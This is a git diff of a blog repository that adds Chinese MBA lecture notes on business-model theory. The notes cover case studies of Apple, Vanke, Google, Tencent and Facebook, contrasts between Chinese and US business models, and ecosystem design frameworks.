+由于分类是典型情况，所以在实际生活中，有可能会不同。理论是现实的抽象，但是不等于现实。不过，我们可以通过理论把现实世界简化，又不会让现实世界的规律失真，来指导我们的实践 + +1.3.1 专注型 + +业务系统类型分为五类。第一类，专注型，即企业从事的业务活动数量较少，专注于某一领域，以重资产为模式。例如，生产、制造汽车发动机。在工业化时期，这类公司数量众多，专业化程度及生产效率均较高。 + +1.3.2 全能型全能型指的是产业上游、中游、下游，左边、右边这样一些业务活动，全部由公司独揽，中国企业家很偏爱这种形式，俗称“肥水不流外人田”，例如乐视。 + +全能型模式，仅仅在工业化时期盛行，就像通用电气（GE）当年不仅生产发电机、电灯泡，还提供电力供应，产业链所有环节由它一家独占。归其原因，在于工业化时期市场容量有限，例如在汽车市场刚刚诞生时，第一年市场体量仅为1亿美金，这时企业去找上下游供应商谈合作会无人问津，因为市场规模太小、利润较低。时光飞逝、斗转星移，1年后、2年后、10年后、20年后，市场规模扩大到1.5亿、3亿、50亿、100亿，这时市场经济诞生，专业化公司入局。专业化公司会提高企业效率，企业再也不用独揽全局，但是也会肢解全面一体化公司。然后，各个企业在专业化领域厮杀、相互竞争，四五十年后，市场趋于稳定、饱和，企业效率大不如前、增长开始缓慢，此时，整合性业务模式不期而至。 + +1.3.3 整合型 + +整合性业务模式包括软横向、软纵向一体化。软横向一体化指企业合伙人从产业链的一级供应商获取产品、服务，然后为顾客提供解决方案，此时企业是解决方案提供商。 + +软纵向一体化指企业作为组织者，以创立品牌为经营目的，虽然全程参与产业链上游、中游、下游，但是仅仅从事每个环节投入产出的管理，而企业最优秀的合作伙伴则从事加工处理、品牌设计、品牌推广等中间环节。 + +一个市场一旦产生、一旦赚钱，全世界的生产要素，人、市场、技术等等都会以迅雷不及掩耳之势迅速涌入，然后将市场一步到位，因为时间根本不允许企业家从头到尾去创立一个公司，即使建立也是会被弱肉强食。例如电动汽车，仅仅十年，市场供过于求，尸横遍野，今日首富、明日阶下囚。 + +所以，我在任何场合都反对企业家以硬一体化为模式，即企业自己单干，这种模式的市场空间越来越小，虽然也存在个别突围的可能，但是我至今还没有发现。也许有些管制、技术壁垒会让企业有时间去做垂直一体化，但那毕竟是少数，在大多数时候毫无机会。 + +我们在2010年出版《重构商业模式》，发现那些具有百年历史、最优秀的公司，它们商业模式重构的方向都是以轻资产、业务活动或多或少为主。 + +![](/uploads/2019/06/03-142.png) + +典型软垂直一体化案例1：万科 + +万科是典型的软垂直一体公司，虚线的方框表示万科的企业边界，里面的小方框或者小圆圈表示内部的利益相关者，方块外面的圆圈表示外部的利益相关者，棱形表示两个利益主体之间交易的内容，例如项目发展部门向政府、居民获取土地。 + +![](/uploads/2019/06/03-143.png) + +虽然万科是房地产开发公司，但是万科所有的房地产开发环节都不是它主导，而是通过分析市场需求，确立市场定位、设立标准、输出需求来运作品牌，然后将各利益方进行整合并进行项目推进、工程验收，有助于将房子更快变现、获得高收益。由万科、事业合伙人、私募基金策划拿地、融资，设计院规划设计方案，承建商进行房屋建设，第三方机构监工到最后房产中介进行销售、物业管理。 + +![](/uploads/2019/06/03-144.png) + +典型软垂直一体化案例2：苹果 + +要论软垂直一体化模式王冠企业，非苹果莫属。从产品角度来说，不管是过往还是如今，苹果出品、必属精品，它的品质、灵敏度、光泽度，亦或精致程度好像都比竞争对手要卓越。也许有人会困惑，世界上还有什么硬件不会过剩？为什么苹果总能创造出更好的硬件？实际上，苹果使用了非常精妙的软垂直一体化做法，有3种方法来保证其产品永远品质非凡，让别的企业望尘莫及。 + +第一，设定标准选择供应商。例如，富士康虽然作为苹果一级供应商，但是由苹果选择其二级、三级、四级、五级供应商，即苹果不参与制造环节，却设立标准、管理流程，让供应商严格遵守。如果是中国公司，肯定会自己作死，将三、四、五级全部由公司控股。 + +第二，将关键零部件买断，由供应商进行组装、生产。例如，手机中有一些关键零部件必须由高性能机床生产，这些供应商可能分布在日本，需求仅为1+ 2台，于是苹果将其买断送到中国富士康等供应商，再进行产品生产。也就是说，苹果提供设备，供应商仅仅是加工，所以在分成时，苹果占大头、供应商小头。由此，保持产品的高性能，让竞争对手难以复制。 + +第三，找供应商研发设备，并且独占设备使用权。在生产过程中，有一些环节可能需要一些市场上暂时没有的设备。这时，苹果找到供应商，支付足以覆盖研发费用的首付款让其进行研发，但是设备研发出来后，供应商并不能随心所欲卖出，而仅能卖给苹果一家，然后苹果再将设备运送到其他供应商，进行生产、组装。 + +![](/uploads/2019/06/03-145.png) + +苹果商业模式的命门在于他们的营业额、销量必须持续增长，这样才能持续经营、获取收益。一旦增长停滞、产能就会过剩，苹果的供应商，即使不被允许，也会用各种手段将产能卖给别人。所以，任何一种商业模式都有死结，都不完美。 + +几年前，我一直预计苹果销售量会下降，供应商会将过剩产能卖给苹果竞争对手，然后苹果将调整商业模式，结果苹果并没有调整，而是压低供应商价格，甚至用粉碎机搅碎过剩产能，几十亿、几百亿美元付诸东流，这不是摆个pose就解决的事情。 + +那么，苹果的竞争优势到底是什么？是设计吗？是APP Store吗？都不是，苹果最大的竞争优势是交易架构的设计标准，是企业家思维。例如，苹果找雅昌生产Pad、PC产品设计样稿、纪念册。雅昌作为中国艺术出版业老大，具有及其标准的行业规范，但是苹果将他们从设计、印刷到执行的流程拆分成以每小时为单位，全天监控生产进度。然后发现，其中一个流程缺少关键设备，为了保证生产圆满完成，苹果花费1000万人民币购买设备直接送给雅昌。这要是搁中国企业家，门都没有，比登天还难。中国人更愿意将钱投资到二级、三级供应商的关键设备，这样可以成为股东，就像BAT大肆收购中下游企业一样。当然，我认为这不会有好结果。综上，中国永远学不会苹果。 + +1.3.4 组织内平台 + +单边平台是一种特殊的商业模式，是组织内的平台模式，它的特征表现为企业在产业链中业务活动可多可少，可轻资产也可重资产。 + +案例：服装电商——韩都衣舍 + +韩都衣舍就是典型的组织内平台，即根据组织内部的利益相关方进行交易结构设计 + +韩都衣舍作为品牌服装电商，主要从事12个业务活动，分成两部分。一部分，由公司总部来做，共7个环节，包括品牌策划与运营、生产、产品摄影、物流、仓储、客服、数据采集。另一部分，共有900名员工从事定款、定价、页面制作、出仓、入仓这五个环节，三人一组，共300组。这三个人分工如下：一个人进行定款、定价，一个人负责出仓、入仓，另外一个人进行页面制作。网上盛传韩都衣舍三人组，其实企业光学这点无济于事，它更重要在于有2000多人进行平台支持，原因在于不同业务活动的规模经济范围不一样。 + +![](/uploads/2019/06/03-146.png) + +韩都衣舍业务系统表现为：3人组如果营业额未到1000万元，由董事长亲自负责；营业额超过1000万元，就可以在业务范围内随心所欲，无需请示汇报。但是，单边平台必须要提供基础设施，设定规则，让员工在规则范围内行使权力。单边平台模式适用于任何一个行业，中国企业尤其喜欢或者擅长这种模式，因为中国人喜欢自己当家作主，但是如果不遵守规则，就会一无所获，3人组就会不攻自破，所以每个人都要发挥自身优势与能量，与团队齐心协力，向着目标，努力奔跑。 + +![](/uploads/2019/06/03-147.png) + +案例：贸易公司——香港利丰 + +贸易公司在20人时，最有规模经济效益。大中华区做贸易的企业规模均不大，但是香港利丰集团规模却达到2000亿元，原因就在于它将员工分为20人一组，每组只为一个顾客提供服务。如果这20人全年业绩超过5000万美金，就会拆分成另外两个20人组，规模永远不会扩大。更重要的是，这几百个20人组背后有一个平台，提供信息系统支持、资金、品牌、人力资源的培训和管理、物流配送。由此可见，20人组和平台都具有规模经济，这叫做生态函数设计，实际上是内部利益相关方交易结构的设计，即单边平台。 + +案例：谷歌与电商 + +Google将所有员工分为10人一组，超过10个人就会效率低下。但是，不同行业技术设备水平各不相同。电商3人一组，在前端最有效率，如果后端也分成3人组，就不会产生规模效应。 + +1.3.5 多边平台型 + +多边平台分为两种。 + +第一，双边平台，即左边一堆买方，右边一堆卖方，大家共同推动平台交易，效率比企业单独找平台要高，如信用卡公司。 + +第二，多边平台，即平台左右两边供应商有多种类型，或为C端（个人端），或为B端（企业端）。在中国，平台的概念已经被玩坏了，企业如果想做大，往往会选择做平台。非价差性质的盈利模式才是平台。所以，京东就不是平台模式，而是自营模式——将品牌商产品买断，加价售卖给消费者。 + +二、案例分析 + +2.1 Facebook + +Facebook的商业模式很简单， 典型的美国公司作风，不做业务，而是为相关利益方搭建一个平台，一群人在上面互相点赞、送礼物、发表评论，继而分析用户行为，精准投放广告，开发游戏应用。商家和Facebook按照7：3分成。相反，中国企业搭平台、吸引客户，接着开游戏公司、卖花卖草公司等。因此，不同商业模式背后的哲学观、思维惯性各不一样。 + +![](/uploads/2019/06/03-148.png) + + + +2.2 Google + +Google的主要商业模式其实一直未变，即用户点击鼠标，输入关键词，找到相关文章，在页面右侧精准匹配广告。用户一点击，Google将点击卖给广告商，钱赚到手。迄今为止，这项业务是Google的主要赚钱方式。但是，Google的商业模式一直在不断探索、迭代，分为四个阶段。第一阶段，引入中小网站这种外部利益相关方。编程广告传播程序（Adsense）嵌到中小企业网站上，捕捉引流到此的搜索和点击，在用户点击后用引擎处理，处理完毕，将广告卖给广告商，返回有关页面。由于Google的流量来自于合作伙伴，所以采用分成模式。 + +![](/uploads/2019/06/03-149.png) + +第二阶段，开发内部应用。例如，Gmail邮箱。当用户发邮件时，会根据邮件标题自动匹配广告。由于自动匹配模式，所以即使用户不点击页面，Google也可以找广告商收费。 + +![](/uploads/2019/06/03-150.png) + +第三阶段，开发大量的内部应用，例如Google桌面、Google金山词霸。只要用户使用，Google就可以分析其行为，想方设法精准匹配广告。当然，不同于百度胡乱匹配，Google的匹配以用户标签为前提，不会为了钱为所欲为，所以并不会招致太多反感。 + +![](/uploads/2019/06/03-151.png) + +第四阶段，和竞争对手网站建立交易关系。将Adobe、戴尔、苹果的网站纳入到交易的范围，捕获其网站用户的点击，将点击卖给广告商，赚钱。 + +![](/uploads/2019/06/03-152.png) + +综上，Google的商业模式演化以用户为中心向外拓展，将现实世界数字化，免费存储，卖给广告商获得利润，业务不断发展壮大。凡是跟这个业务不匹配的产品，都不产生利润，久而久之就消失匿迹。例如，Google两年前开发的阿尔法，就是无法实现新技术在自有商业模式的情景下变现，导致血本无归、空有噱头。所以，即使产品技术再高端大气上档次，商业模式不改变，都是白搭。Google不是始作俑者，施乐公司早在60年代就开创了研发无数产品、却无法变现的先河。所以，企业需要进行产品技术和商业模式双重创新才能持续经营、赢得利润最大化。 + +2.3 腾讯案例 + +腾讯的交易结构为平台型模式，它商业模式的演变过程值得我们学习与思考。分为三个阶段。 + +第一阶段，腾讯作为通讯软件，免费供消费者使用，但苦于找不到收入来源而濒临绝境。于是，它通过贩卖虚拟形象，比如手机靓号获得收入。微信最开始变现方式与QQ一样，QQ各种各样的变现手段都可以在微信实现。 + +![](/uploads/2019/06/03-153.png) + +第二阶段，QQ拓展无线增值服务。消费者免费使用QQ，但是下载铃声、游戏则需要付费。 + +在3G普及之前，该服务解决支付痛点。但是，分成的大头归电信运营商，腾讯只能拿到3成或更少的收入份额，但即便如此，一年也可获得30亿元收入。由此，腾讯复活，开始持续经营。 + +第三阶段，拓展政府的商业模式。众所周知，腾讯将游戏业务做到极致，其商业模式十分复杂，贯穿线上各种门户、各种入口、各种平台及线下网吧、地推、广告以吸引网民注意。腾讯可以满足用户对游戏的任何需求，从客户端、移动端到页面端，再到VR游戏、电子竞技，面面俱到，总有一款是你的菜。腾讯游戏产品与战略选择密切相关，多元化战略就有多系列化产品，相应盈利模式五花八门，按照游戏时长、点播次数收费或游戏免费、道具收费，并向用户收取不同等级会员费，也鼓励付费玩家和免费玩家进行道具交易，系统进行抽税，即政府的商业模式。其实，该模式看似十分成功，但是未来一定会看到局限性。 + +![](/uploads/2019/06/03-154.png) + +2011年，随着3Q大战如火如荼，腾讯开始思考如何创造而不是抄袭别的企业商业模式，于是邀请我来做商业模式分析，通过对腾讯1000多个产品的研究，写出“帝企鹅的顶层设计”一文并发表在《新财富杂志》（文章详情请见预习资料）。我们运用商业模式与产品维度两个维度来进行划分。战略，即用户和产品，以用户为中心，围绕不同的商业模式，每个商业模式有多种产品。于是，1000多个产品应用找到了相应位置。核心逻辑是这些品类如何创造价值、相互支持。 + +![](/uploads/2019/06/03-155.png) + +第一，分成商业模式，例如电信运营商分成、内容提供商分成，图片预定、铃声下载等。 + +第二，广告模式（媒体模式），即用户虽然免费下载应用产品、浏览新闻内容，但是必须要顺路观看广告。 + +第三，游戏模式。 + +第四，互联网增值服务，即蓝钻、红钻等，不同特权不同费用。 + +第五，电商服务。腾讯进行了很多电商盈利模式探索，如QQ网购，QQ网购，拍拍网等，虽然都不太成功，但是用这些产品与京东交换了将近20%的股权。现如今，腾讯不再专注于发展电商平台，而是专注于做所有零售企业商业生态系统——不管是线下零售、线上零售，还是O2O里的连接与支付两个角色，即使能。 + +![](/uploads/2019/06/03-156.png) + +使能和赋能的区别在于——使能，以腾讯为代表，是企业在别的企业生态系统中承担有价值的角色；赋能，以阿里为代表，是企业为其他企业提供移动技术，让它更好地为顾客提供服务，并对它控股且纳入企业自身生态系统中去帮助利益相关方。 + +三 中美商业模式差异 + +通过对120家中美互联网企业商业模式对比后发现，结果截然相反。2013年，我在美国与西北大学传媒学院副院长交流，说到了中国的微信，两年用户数激增到2亿人，很快可以赶超Facebook。 + +他问我：“微信是功能是什么？” + +我说：“可以发短信。” + +他说：“这不就是Massager的功能？ + +我继续说：“微信还可以视频通话。” + +他说：“这玩意不就是Skype的功能嘛。” + +我接着说“微信还可以和朋友——” + +“朋友”两字刚蹦出来，他就说“这不就是Facebook！” + +我每说一个功能，他都能在美国市场上找到一个独立的APP、公司或者独立品牌与其对应。最后的最后，我认为微信是——想干啥就干啥。但是，微信却无法打开美国市场，原因在于美国用户更喜欢独特性的产品。同样，Facebook也无法打开中国市场，因为中国消费者喜欢无所不能的产品。所以，要鼓励中美两国企业家创新。我相信，在未来，一定会探索出一个两国通吃的商业模式。 + +![](/uploads/2019/06/03-157.png) + +中美两国商业模式主要有七个差别。第一，美国商业模式简洁，大多数并不像Google这样复杂，而中国商业模式则越来越复杂，例如腾讯。 + +第二，美国的企业满足不同用户的同类需求，是基于商业模式驱动的产品与技术研发。如果企业技术研发与其商业模式不匹配，就将死无葬身之地，例如Google阿尔法。相反，中国企业的则是以核心产品为主轴，基于用户需求驱动的商业模式构建，满足同类用户的不同需求。例如，企业会开发三种商业模式满足同一用户A、B、C三种需求。 + +第三，美国企业是单一企业专业化、生态系统多样化，而中国则为单一企业多样化、商业生态同质化。例如，BAT本来业务各不相同，而在有段时间产品却走向同质化，不过最近两年，随着对商业模式的探索，已经转而实行差异化策略。 + +2013年，我在北美一个研讨会上与墨迹天气北美负责人聊天询问他市场拓展战略，他说，“我打算先增加流量，然后卖花卖草。”我认为这个策略肯定不会成功。美国在线音乐网站潘多拉专注自动化的音乐推荐服务，而它90%的收入来源于Google给它的搜索分成，躺着赚钱。相反，中国企业即便是BAT，员工夜以继日地工作，人均效率、市值、利润、流量、成果也无法和美国企业相比。 + +当前，中国企业发展存在问题的根源在于商业模式、管理模式太过复杂，没有将复杂问题简单化。当然华为在这方面做的非常好，把所有复杂管理的流程简单化，让任何人都可以上手操作。所以，企业要大力支持商业模式、管理方式探索以提高团队整体效率。 + +第四，美国企业柔性弱、效率高，而中国企业柔性强、效率低。中国企业，柔性强，想死都死不了，这是优势。例如，2004年，姜汝祥的《差距》一书中，将中国优秀企业的愿景、使命、理念、目标、战略、管理、文化与美国优秀企业进行比较，发现差距甚大。其中一个原因在于他拿美国在某个方面做到极致的企业与中国在某个方面情况很差的企业相比，即拿别人的优点和我们的缺点去比，结果大跌眼镜。 + +现如今，十四年过去，他写的美国优秀企业，三分之一已经倒闭，如摩托罗拉、诺基亚、柯达；三分之一正走在倒闭的路上，如戴尔，惠普稍微缓和，微软如果不是换了印度的CEO进行商业模式重新设计，也将濒临绝境；还有三分之一已经是末日黄花、碌碌无为，如GE（通用电气）、IBM——曾经的王者，被各大企业竞相模仿，如今已经无人关注，英雄迟暮。2018年6月19日，GE被剔除出道琼斯产业指数，作为美国工业经济110年硕果仅存的企业（自1907年起，GE已连续110年入选道琼斯产业指数成分股,是道指早期12只成分股中唯一没有被剔除的,这曾经是GE一直引以为豪的事情），令人唏嘘。 + +反观那些中国企业，华为、海尔、TCL，虽然生活艰辛，但是依旧凑合活着，二十年之内不会倒闭。联想，都觉得它没戏了？放心不会倒闭。这就是柔性强、适者生存。 + +第五，中国企业受到碎片化的需求和攻击，美国企业则是大吞吐量结构化的需求和供给。苹果手机款式屈指可数，而中国企业号称为了满足顾客需求、打败竞争对手，一台50英寸电视机可以生产出30种款式。结果，每增加一款产品，生产成本增加10%，等到产品上市，销售数量几千台，导致中国企业的效率极低，还打着满足顾客需求的旗号。美国企业则是重视产品需求。例如宝洁，虽然一个洗发产品也会有很多品牌，但是前提是产品赚钱。 + +当然，中国企业创新能力强。麦肯锡白皮书显示，中国企业在用户需求创新方面为世界老大。但是，如果想让企业持续发展，就必须思考商业模式，因为这最终会反映在企业财务状况上，会影响企业的收入结构和成本结构、盈利结构。 + +第六，中国企业以模仿性的微创新为主，美国企业则大多数专注于颠覆性创新。美国小企业和大企业合作状态与我国迥然不同。美国硅谷的创业公司，有的专注产品技术创意，有的则专注商业模式创新。在美国，大企业抄袭小企业创意为人所不齿。更重要的是，大企业没必要抄袭小企业，等小企业羽翼丰满，直接购买，招入麾下即可。99%的硅谷创业公司初衷都是想被大企业收购，而以成立平台、建立生态系统为目标的企业少之又少。 + +在美国，如果企业以一个行业发展态势、技术成熟度很高为理由去找VC融资，投资方会以产品没创意为由拒绝。相反在中国，如果企业以新模式、新产品、新技术是世界独一无二为由募资，会没有投资公司问津。于是，大企业与小企业互相提防，精于算计。虽然3Q大战后态势逐渐改善，但问题的本质依旧没有解决。 + +我认为一个持续发展的生态系统应该：在同一个行业内，不仅要有很多纵向专业化公司——通过竞争提高效率，也要有很多横向平台——商业模式各不相同、彼此共存。 + +以横向平台化为例，美国在线旅游行业，有四家模式不同的公司。第一家，HomeAway，商业模式为房东将房子放到平台交易，平台收年费$300，市值约$100亿。第二家，Expedia，以价差为商业模式，即平台将房子买断，加价卖给消费者。市值约$130亿。第三家，Airbnb，以双边收佣金为商业模式，即收房东3%佣金，收房客6%+ 12%管理费，市值约$300亿。第四家，Priceline，以顾客定价+拍卖为模式，即平台低价买断高端酒店尾房并进行拍卖，出价最高用户可入住，市值约$1000。反观我国企业，携程收购竞争对手艺龙还有据可循，可是将新的业态去哪儿收购简直惨无人道。 + +![](/uploads/2019/06/03-158.png) + +所以，一定要让这些不一样模式的平台公司得以生存。我希望在未来，可以建立相关法律对这些企业进行保护。由此，这个社会才能够既享受到垄断带来的高效率、高收益，同时又给创新留下足够的空间。我认为企业可以根据利益相关方的资源能力，随时重构商业模式以同时满足中美两国顾客需求，即随时成立，随时解散，以变化应对变化。虽然现在技术基础还不足以支持，但我相信十年后这种模式会出现。 + +四、商业模式设计三度空间 + +![](/uploads/2019/06/03-159.png) + +4.1 商业模式与生态系统 + +商业模式是焦点企业与其利益相关者的交易结构。每一个公司都会有一个企业边界，内部利益相关方从事的业务活动是一个企业的边界。携程以自身为中心，构建生态系统。成员包括：内部利益相关方——服务中心等及外部利益相关方——酒店、航空公司、顾客等。同时，艺龙也有很多内部、外部利益相关方，由于与携程利益相关方高度重叠，因此属于同类商业系统，而去哪儿网则以垂直收缩为商业模式，通过自己的搜索引擎把数量众多的在线代理商聚合到自身平台之上。 + +在一个行业内，会有不同的生态系统，每个生态系统商业模式有相同的，有不同的，但是如果将利益相关方的颗粒度放到最小，会发现他们的集合是一样的。共生体，即生态圈，是焦点企业的商业模式及其利益相关者的商业模式的总和。共生体的边界可以随着商业模式创新的视野而不断拓展。 + +共生体是生态系统价值创造的基础逻辑。因为它们的共生体相同，我们称为同类生态系统。然后，我们可以从三度空间角度来审视一个行业。以中国在线旅游领域竞争格局为例，横轴表示商业模式，这个行业有哪些物种，如在线旅游代理商、垂直搜索引擎、电商、点评社区、共享经济等。长短表示这类物种所占的市场份额。纵轴表示战略，从产品角度有酒店产品、度假产品、通行产品等。长短表示采取这种战略的物种市场份额的大小。 + +最上面的横轴表示共生体或生态系统的类型，例如垂直搜索、在线旅游属于这一类共生体，共享经济单独为一类，电商和点评社区又是另一类。通过共生体视角，可以看清同行业生态群的企业基本情况、竞争态势，然后具体去分析描述和决定一个公司重要价值创造的时间。以三度空间视角，从下往上看，站在企业边界，由里往外或由外往里看，就可以看清企业局势，进行战略决策。 + +![](/uploads/2019/06/03-160.png) + +4.2 三度空间看企业 + +企业价值创造的重要决策有三层：第一，战略。第二，商业模式。第三，共生体的选择。 + +第一层主体是具体的企业，如天猫、京东、万达等。从战略空间角度，以现在的企业边界，应该通过怎样的决策使价值增值最大化。战略空间主要有客户、竞争对手、企业三个维度，包括企业为谁创造什么价值、企业的竞争对手是谁、企业的竞争优势是什么。 + +第二层主体是商业生态系统，生态系统是一种持续交易的利益主体形成的聚合体。从商业生态系统视角出发的思维空间可称为商业模式空间，它由企业的商业模式选择自由度构成。天猫是平台商业模式，京东以自营商业模式为主，而唯品会则是闪购商业模式，它们虽然同属于电商生态，但不同企业的生态系统结构与商业模式却迥然不同。 + +第三层主体是商业生态簇，即企业如何提高自身变现能力，选择哪一个共生体、风口，是选择携程还是Airbnb的共生体，是在电商还是百货的共生体，或者重新创造共生体——将价格创造能力比较强的一些业务活动、别的生态系统当中有资源能力的利益相关方、新技术带来的效率提升的活动和角色进行重塑、升级。 + +![](/uploads/2019/06/03-161.png) + +空间之上即为格局，企业需要清楚地认知自身如何从三个空间获得竞争优势，具体可分为两种思考路径。一方面，我们需要自下而上看待问题。从战略空间出发，企业先思考自己能够解决客户的哪些痛点或带来何种问题，发现竞争对手所忽略的薄弱环节，然后随着企业规模的增长逐渐扩展到商业模式空间和共生体空间，探寻外部需要做何种调整来适应战略空间的变化，这种从企业内部到外部，从局部到全局的思考方式，称为焦点思维。从下往上看对于每一个人、每一个企业来说异常困难，这需要不断否定自我才能不断完善、突破自我。 + +所以，我们需要从另一层角度看问题，即自上而下。从共生体空间出发，先看生态簇层面是否存在共生体物种出现或演变的可能，然后具体到商业生态系统中寻找价值和效率最大化的方式，最后聚焦到企业的商业模式与战略设计，这种从上而下，从宏观逐步聚焦到企业层面的思考方式，称为格局思维。 + +建立格局后，我们要先进入无形无我的状态。然后，我们开始投胎，选择成为人还是动物。如果我们选择成为老鹰，我们就要明白在老鹰这个生态系统中，应该选择怎样的商业模式。接着，我们渐渐羽翼丰满、开始捕食，这时候我们需要选择战略，即我们依靠怎样的能力让捕食对象毫无还手之力。最终，我们制定战略落地方法论。这个过程就是从上往下，从无形无相，再到有形有相的状态，由此建立格局观。 + +有的时候，我们感到建立格局观举步维艰，这是因为我们总是站在自己的角度思考问题，我们永远认为自己有理有据，于是，我们就难以正确认识自己、难以创新。所以，我们要从上而下分析问题，这样才能遇见更好的自我，才能建立格局观。当然，矛盾之处在于在实践当中，我们并不能将自己归于虚无。但是，我们依旧可以客观认清自我，找到现有模式存在问题，探索解决办法，重塑商业模式。 + +罗振宇在新年演讲曾说：“人不能从猪变成老鹰。”然而，我认为在我们认知能力达到后，完全可以实现裂变。中欧商业评论的编辑潘东燕在《大转型》一书中提到，“企业转折成功的原因在于员工认为创始人一意孤行，纷纷辞职。于是，创始人重新创立公司，招聘新员工，最终使新的商业模式、新的战略得以落地。”其实，不见得是原来的员工没有能力执行新模式，问题的实质在于员工与老板在认知上没有达成共识，不想去执行。由此可见，企业要在提高员工认知能力的基础上重构商业模式，审视行业中商业模式的变迁，继而通过提高企业资源创造能力树立竞争优势。另外，我们还需要从生态系统视角，提高企业生态系统中相关利益方的能力，从而提高企业整个生态系统的竞争力及企业赚钱能力。 + +4.3 三条路径构建竞争优势生态系统 + +提高企业生态系统能力有三种方式。 + +第一，赋能，即企业为利益相关方提供各种管理技术、信息技术，去帮助他们提高自身能力，从而提高企业整体能力，最终提高企业利润。 + +第二：使能。因为企业相关利益方也各自有生态系统，所以企业可以开发出一种产品和服务，使之成为它那个生态系统中的一个关键角色，从而提高赚钱能力。马化腾曾说：“腾讯推的是去中心化的赋能（使能），我们不会让你来我这租柜台做生意，而是你自己建这个房子，建完以后就是你的，你的粉丝、你的客户以后就是你的了，不需要再交月租，不需要每年涨价，这就是去中心化。”实际上，去中心化的应该叫使能，阿里做的是赋能，这两个做法在各自的条件下都有自己存在的理由，完全是两套东西。 + +第三：重构。通过为利益相关者设计商业模式、围绕为客户的用户设计商业模式或产品、为利益相关方的利益相关方设计商业模式或产品等，在导引生态系统竞争优势的同时带动自身产品的销售。例如，永辉超市通过改造农户的商业模式——将粗放型农业生产改造成合作社、扶持个体农户变为大型农户，在农业种植规模扩大后为其提供更好的种子及种植技术，由此提高农业生产效率，按质按量为永辉超市提供服务，实现互利共赢。由此可见，企业商业模式的重构是一种自身商业模式及其生态系统相关利益方的双重重构。通过不断重构商业模式，提高并且保持企业竞争优势，实现持续经营。 + +本节课我们通过讲述商业模式分类、中美商业模式差异、商业模式与生态系统关系，引发了一些对企业重要发展的思考。希望大家继续关注商业模式第三讲，将解构著名的“魏朱商业模式六要素”。 \ No newline at end of file diff --git a/_posts/2019-06-03-398-mba0803.md b/_posts/2019-06-03-398-mba0803.md new file mode 100644 index 0000000..5150fa4 --- /dev/null +++ b/_posts/2019-06-03-398-mba0803.md @@ -0,0 +1,329 @@ +--- +layout: post +title: 【商业模式模块】 第3节 “魏朱六要素商业模式”深度解构 +pid: 398 +tags: [mba] +--- + +“魏朱六要素商业模型”深度解构 + +引言 + +企业应该通过哪种方式捍卫它的商业模式？商业模式和战略、营销、组织到底有什么区别？那些成功的企业，可口可乐、星巴克、360、他们到底做对了什么？本讲中，魏教授将用“魏朱六要素商业模式”模型为您深度解析企业成功的奥秘。 + +一、技术创新商业模式 + +1.1 技术创新类型 + +技术与商业模式虽然讲述企业经营不同的方面，但是内在却紧密相连。一方面，新技术的发现会提升企业原有业务活动和管理活动效率，产生新的业务活动、管理活动。另一方面，新技术也会产生新产品或提高原有产品性能。 + +技术创新分为三类。第一。需求导向型创新。企业在研发产品和技术时，要以用户需求、客户需求为本。当现有产品及技术无法满足需求时，就要开发新产品、新技术。第二，技术原理导向型创新。从技术原理角度，基础研究与应用技术研究都有自己内在成长属性、演进方向，和需求无关，例如3G、4G、5G的迭代过程。第三，模式导向型创新。当企业要践行新的商业模式时，需要开发新技术将其模式落地。滴滴人工智能研究院副院长叶杰平认为，“人工智能的技术创新是基于滴滴这个模式产生的新技术。没有新的商业模式，这些新技术不会诞生。” + +1.2 商业模式专利申请条件 + +我们在10月出版的《商业模式的专利保护》这本书中，讲到商业模式如何申请专利。第一，纯粹的、没有技术方案的商业模式属于商业方法，不能申请专利。 + +第二，无专利手段介入的商业模式申请专利分为两方面。一方面，剥离了商业模式特征后的技术手段所形成的方案如果满足专利性要求，此时则需要判定技术手段所形成的方案是否构成完整技术方案。如果完整，可以单独或同时申请技术专利与商业模式专利。如果不完整，则可以为包含该技术手段的商业模式方案申请商业模式专利。另一方面，剥离了商业模式特征后的技术手段形成的方案不满足专利性要求，此时则需要判定包含该技术手段的商业模式方案整体上是否满足专利性要求。如果满足，可申请商业模式专利；如果不满足，该方案无法获得授权。 + +![](/uploads/2019/06/03-162.png) + +1.3 技术创新对商业共生体的影响 + +技术创新按照技术变化特点及影响力大小可分为三类，这三类对商业共生体影响各不相同。 + +第一，渐进创新。这类技术仅仅对企业战略有轻微影响，因为它会改变公司可以满足的顾客需求，但是它对商业模式、共生体没有影响。 + +第二，重大创新技术。这类技术对企业战略有影响，但是对商业模式和共生体的影响可能会有、可能没有，这取决于企业再造商业模式的主观能动性。如果主观能动性强，企业就可以利用技术创新提高企业竞争优势；如果企业随波逐流、作为跟随者去应用最新技术，技术创新效果就会大打折扣。 + +第三，技术系统变革、技术+ 经济泛式变革（颠覆性技术或者通用技术）。这类变革对三度空间，即战略空间、商业模式空间、共生体空间均产生深远影响。如今的时代，市场瞬息万变，各行各业都会产生颠覆性的技术，这些技术会使企业经营举步维艰。所以，企业必须持续关注自身商业模式、战略选择，构建健康、和谐的生态系统。 + +![](/uploads/2019/06/03-163.png) + +1.4 商业模式与战略、营销、组织的区别 + +1.4.1 商业模式与公司经营区别 + +商业模式与企业经营区别在于，商业模式是企业业务活动的选择以及利益相关方的交易结构，公司经营则分为两类。第一，业务活动，即价值链环节能够直接创造价值增值的活动，包括研发、设计、生产、销售、后勤等。第二，管理活动，为组织和管理公司业务活动而发生的各项活动，包括计划、组织、领导、激励、协调和控制活动。例如销售活动，企业为了协调控制销售活动，需要制定目标、计划、标准，配备人力资源、委派领导激励。组织结构设计是基于——每一个业务活动配套的管理活动，将业务活动、管理活动同类项合并，进行重新组织。业务活动有各种交易对象，企业需要逐个协调，对应查看其交易结构。 + +另外，传统管理理论对商业模式存在误解，将商业模式与管理活动、战略、管理模式混为一谈，其实二者截然不同，前者是交易结构，后者是管理活动的安排。 + +1.4.2 商业模式与战略区别 + +商业模式与战略的区别包括三类——是什么、怎么做、成功路径。从“是什么”角度，战略就是创造一种独特、有利的定位，涉及各种不同的运营活动；商业模式是利益相关方的交易结构。 + +从“怎么做”角度，战略定位起点包括种类、需求和接触途径。持久的战略定位须做取舍，业务活动之间要环环相扣、相互支持，从而增强企业竞争优势和经营的可持续性，并将模仿者拒之门外。商业模式设计思路包括三镜。第一，广角镜，即发现和挖掘新的利益相关方构成，构建更大的价值空间。第二，多棱镜，对价值相关方角色关系或盈利模式的质变、利益相关方功能属性以及潜在资源能力进行重新挖掘、定义，并进行商业模式的重构。例如，拼多多社交团购利用消费者个人影响力，一起购买某产品，将影响力变现。另外，如果客户社交能力很强，企业能否设计交易结构，让它参与到企业产品设计中，提高产品竞争优势，创造更高交易价值。 + +![](/uploads/2019/06/03-164.png) + 